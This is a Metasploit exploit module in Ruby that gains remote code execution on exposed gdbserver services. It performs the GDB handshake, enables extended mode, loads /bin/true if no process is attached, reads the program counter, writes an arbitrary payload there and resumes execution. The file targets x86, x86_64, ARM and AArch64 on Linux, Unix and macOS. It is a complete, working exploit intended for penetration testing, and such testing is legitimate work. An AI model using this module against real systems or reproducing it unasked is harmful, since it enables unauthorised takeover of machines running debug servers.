##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Gdb

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GDB Server Remote Payload Execution',
        'Description' => %q{
          This module attempts to execute an arbitrary payload on a loose gdbserver service.
        },
        'Author' => [ 'joev' ],
        'Targets' => [
          [ 'x86', { 'Arch' => ARCH_X86 } ],
          [ 'x86_64', { 'Arch' => ARCH_X64 } ],
          [ 'ARMLE', { 'Arch' => ARCH_ARMLE } ],
          [ 'AARCH64', { 'Arch' => ARCH_AARCH64 } ],
        ],
        'References' => [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691']
        ],
        'DisclosureDate' => '2014-08-24',
        'Platform' => %w[linux unix osx],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
        'Notes' => {
          'SideEffects' => [IOC_IN_LOGS],
          'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependFork' => true
        }
      )
    )

    register_options([
      OptString.new('EXE_FILE', [
        false,
        'The exe to spawn when gdbserver is not attached to a process.',
        '/bin/true'
      ])
    ])
  end

  def exploit
    connect

    print_status('Performing handshake with gdbserver...')
    handshake

    res = enable_extended_mode
    if res !~ /OK/
      fail_with(Failure::UnexpectedReply, 'Could not enable extended mode.')
    end

    begin
      print_status('Stepping program to find PC...')
      gdb_data = process_info
    rescue BadAckError, BadResponseError
      # gdbserver is running with the --multi flag and is not currently
      # attached to any process. let's attach to /bin/true or something.
      print_status("No process loaded, attempting to load #{datastore['EXE_FILE']}...")
      res = run_file(datastore['EXE_FILE'])
      if res !~ /OK/
        fail_with(Failure::UnexpectedReply, 'Could not load new program.')
      end
      gdb_data = process_info
    end

    gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)

    unless payload.arch.include?(gdb_arch)
      fail_with(Failure::BadConfig, "The payload architecture is incorrect: the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb.")
    end

    print_status("Writing payload at #{gdb_pc}...")
    write(payload.encoded, gdb_pc)

    print_status('Executing the payload...')
    continue({ read: false })
  ensure
    disconnect if sock
  end
end
